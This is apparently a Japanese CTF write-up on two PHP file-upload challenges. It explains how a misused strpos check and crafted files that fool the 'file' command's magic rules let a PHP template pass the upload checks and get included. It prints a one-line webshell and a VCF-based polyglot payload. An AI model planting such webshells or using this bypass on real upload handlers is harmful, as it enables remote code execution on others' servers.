競技中は時間内に解けなかったけど、面白かったのでWriteupを書く。
Meow Share [51 solves]
<?php include("config.php"); if(isset($_GET["source"])){ header('Content-Type: text/plain; charset=utf-8'); die(file_get_contents(__FILE__)); } function is_good_png($filepath) { // YOLO $file_info = exec("file " . $filepath); $stripped_filename = explode(' ', $file_info, 2)[1]; return strpos($stripped_filename, "PNG image data, 250 x 250") !== -1; } function is_good_template($filepath) { // LOYO $file_info = exec("file " . $filepath); $stripped_filename = explode(' ', $file_info, 2)[1]; return $stripped_filename === "HTML document, ASCII text"; } $user_base = "uploads/"; $user = md5($_SERVER['REMOTE_ADDR']); $user_dir = $user_base . $user . "/"; if (!is_dir($user_dir)) { mkdir($user_dir); copy("index.tpl", $user_dir . "index.tpl"); // have some free cats :3 copy("free-cats/cat_c.png", $user_dir . "cat_c.png"); copy("free-cats/cat_b.png", $user_dir . "cat_b.png"); copy("free-cats/cat_a.png", $user_dir . "cat_a.png"); } if (isset($_FILES["upload"])) { $admin_rights = isset($_POST["token"]) && $_POST["token"] == $ADMIN_TOKEN; if (!is_good_png($_FILES["upload"]["tmp_name"]) && !$admin_rights) { die("what are you doing?"); } $extension = pathinfo($_FILES["upload"]["name"], PATHINFO_EXTENSION); if ($extension === "png") { move_uploaded_file( $_FILES['upload']['tmp_name'], $user_dir . "catty_" . time() . "." . $extension ); } else if(isset($_POST["author"])) { $author = $_POST["author"]; $template_file = fopen($_FILES['upload']['tmp_name'], "a"); fwrite($template_file, "HTML template authored by " . htmlspecialchars($author)); fclose($template_file); if(is_good_template($_FILES['upload']['tmp_name'])){ move_uploaded_file( $_FILES['upload']['tmp_name'], $user_dir . "index.tpl" ); } else { die("bad template"); } } else { die("stop messing around!"); } } ?>
PNGとテンプレートのアップロード機能があるが、テンプレートの方はadmin tokenを持っていないとアップロードできないようにされている。テンプレートはinclude
を用いて実装されているのでアップロードができればPHP LFIからRCEできる。
テンプレートがアップロードできるか判定する部分は次のようになっている。
<?php ... $admin_rights = isset($_POST["token"]) && $_POST["token"] == $ADMIN_TOKEN; if (!is_good_png($_FILES["upload"]["tmp_name"]) && !$admin_rights) { die("what are you doing?"); }
よく見ると、is_good_png
がtrueならチェックを通り抜けることができる。is_good_png
を見てみる。
<?php ... function is_good_png($filepath) { // YOLO $file_info = exec("file " . $filepath); $stripped_filename = explode(' ', $file_info, 2)[1]; return strpos($stripped_filename, "PNG image data, 250 x 250") !== -1; }
file
コマンドを実行して結果を取り出し、PNGであるか判定しているようだがstrpos
の使い方が間違っている。
strpos
は見つからない時はfalse, 見つかったときはindexの値を返す関数なので-1を返すことはない。つまりis_good_png
は常にtrueになるので、適当なファイルでもチェックを通り抜けてしまう。
(訂正 12:20) strposの説明が間違ってました。strposは見つからない時false、見つかったときindexの値を返す関数です。Meow Shareはソースコードを見つけられなかったので記憶を元に復元してましたが、is_good_png
のソースコードを間違って載せていました。元のソースコードは思い出せませんが、結局strposの返り値の扱い方がなんらかの形で間違っていて、普通にPHPをアップロードするだけで解けた記憶があります。
(追記 5/23) Arkさんがソースコードを共有してくれました。感謝
あとは<html><?php system($_GET['cmd']) ?></html>
みたいなwebshellをアップロードするだけ。(詳細は割愛)
Meow Share Fixed [13 solves]
<?php ... function is_good_template($filepath) { // LOYO $file_info = exec("file " . $filepath); $stripped_filename = explode(' ', $file_info, 2)[1]; return $stripped_filename === "HTML document, ASCII text"; } function is_good_png($filepath) { // YOLO $file_info = exec("file " . $filepath); $stripped_filename = explode(' ', $file_info, 2)[1]; return strpos($stripped_filename, "PNG image data, 250 x 250"); } //... if (isset($_FILES["upload"])) { // We should leak the `config.php` which contains the admin token $admin_rights = isset($_POST["token"]) && $_POST["token"] == $ADMIN_TOKEN; // upload file should pass the check in is_good_png if (!is_good_png($_FILES["upload"]["tmp_name"]) && !$admin_rights) { die("what are you doing?"); } $extension = pathinfo($_FILES["upload"]["name"], PATHINFO_EXTENSION); if ($extension === "png") { move_uploaded_file( $_FILES['upload']['tmp_name'], $user_dir . "catty_" . time() . "." . $extension ); } else if(isset($_POST["author"])) { $author = $_POST["author"]; $template_file = fopen($_FILES['upload']['tmp_name'], "a"); fwrite($template_file, "HTML template authored by " . htmlspecialchars($author)); fclose($template_file); // upload file should pass the is_good_template check if(is_good_template($_FILES['upload']['tmp_name'])){ move_uploaded_file( $_FILES['upload']['tmp_name'], $user_dir . "index.tpl" ); } else { die("bad template"); } } else { die("stop messing around!"); } }
前回のMeow Shareからis_good_png
に修正が加えられた。
<?php ... function is_good_png($filepath) { // YOLO $file_info = exec("file " . $filepath); $stripped_filename = explode(' ', $file_info, 2)[1]; return strpos($stripped_filename, "PNG image data, 250 x 250"); }
strpos
の扱いが変わり、今回は常に返り値がtrueになるわけではなくなった。しかし、file
の出力のどこかにPNG image data, 250 x 250
という文字列があればis_good_png
はtruthyになるので、ファイルのデータがfile
の出力に現れるパターンを探せばよい。例えば次のような場合だ。
$ cat hoge #! PNG image data, 250 x 250 $ file hoge hoge: script text executable for PNG image data, 250 x 250, ASCII text
しかし、これではテンプレートのアップロード処理のときに弾かれてしまう。アップロード処理を見ていく。
<?php ... $author = $_POST["author"]; $template_file = fopen($_FILES['upload']['tmp_name'], "a"); fwrite($template_file, "HTML template authored by " . htmlspecialchars($author)); fclose($template_file); // upload file should pass the is_good_template check if(is_good_template($_FILES['upload']['tmp_name'])){ move_uploaded_file( $_FILES['upload']['tmp_name'], $user_dir . "index.tpl" ); } else { die("bad template"); }
やっていることは
- テンプレートの末尾に
HTML template authored by $author
を追加で書き込む is_good_template
か検証するis_good_template
であればファイルがアップロードされる (ゴール)
となっている。is_good_template
は次のような関数だ。
<?php ... function is_good_template($filepath) { // LOYO $file_info = exec("file " . $filepath); $stripped_filename = explode(' ', $file_info, 2)[1]; return $stripped_filename === "HTML document, ASCII text"; }
file
の出力がHTML document, ASCII text
と完全一致するかを見ている。つまり、is_good_template
のときにはfile
の出力がHTML document, ASCII text
になっている必要がある。先ほどの#! PNG image data, 250 x 250
ではこれを満たさないので弾かれる。
バイパスできるファイルの条件を整理すると、次のようになる。
file
コマンドの出力にPNG image data, 250 x 250
が含まれるHTML template authored by $author
を末尾に追加した後にfile
コマンドの出力がHTML document, ASCII text
になる必要がある
ではどうするか、というのが問題の核心。
まずHTML document
と分類されるケースを探す。fileコマンドはmagicファイルを元にファイルを分類しているので、それを見ればいい。
自分はstrings /usr/lib/file/magic.mgc | less
で探していたが、普通にGitHubから探せば良かったと思う。
https://github.com/search?q=repo%3Afile%2Ffile%20%22HTML%20Document%22&type=code
見ていくと、<html
という文字列が含まれるときにHTML document
と分類されることがわかる。つまり、ファイルの末尾を<
にしておけば、<HTML template authored by $author
という文字列が作られることになり、2の条件をbypassすることができそうだ。(<!doctype html
でもよい)
あとは1の条件をどうするか。#! PNG image data, 250 x 250 <html
というファイルでは<html
より#!
のマッチが優先されてしまうので、2の条件を満たすことができない。つまり、任意のデータを出力に含ませることができる<html
より優先順位が低いパターンを見つける必要がある。
自分はここで非効率的な方法でだらだら探してしまい、時間内に見つけることができずタイムアップだった。strings /usr/lib/file/magic.mgc
を見て<html
のマッチより下を探していたけど、優先順位が高い順に並んでいるわけではないらしい。
DiscordではGitHubにあるテストケースに<html
を付けて差分を見るスクリプトを作ることで条件に合うものを見つけている人がいた。それすれば良かった...
作問者はfile -d
でデバッグ情報が見れると言っていた。これも見逃していて悔しい。
解法はいくつかあるらしい。一例としてcrazymanさんの解法を載せていただきます。
##fileformat=VCFvPNG image data, 250 x 250 <?php system($_GET['cmd']) ?> <!doctype
これは↓の部分を利用している。
file/bioinformatics at 655425ca3699e40f673948f6d031b3a649ad1d77 · file/file · GitHub
実際にHTML
を末尾につけるとfile
の出力が変化するのがわかる。
$ file hoge hoge: Variant Call Format (VCF) version PNG image data, 250 x 250, ASCII text $ echo HTML >> hoge $ file hoge hoge: HTML document, ASCII text
Writeupを書かないと忘れてしまうので、遅くなってもなるべく書いていきたい。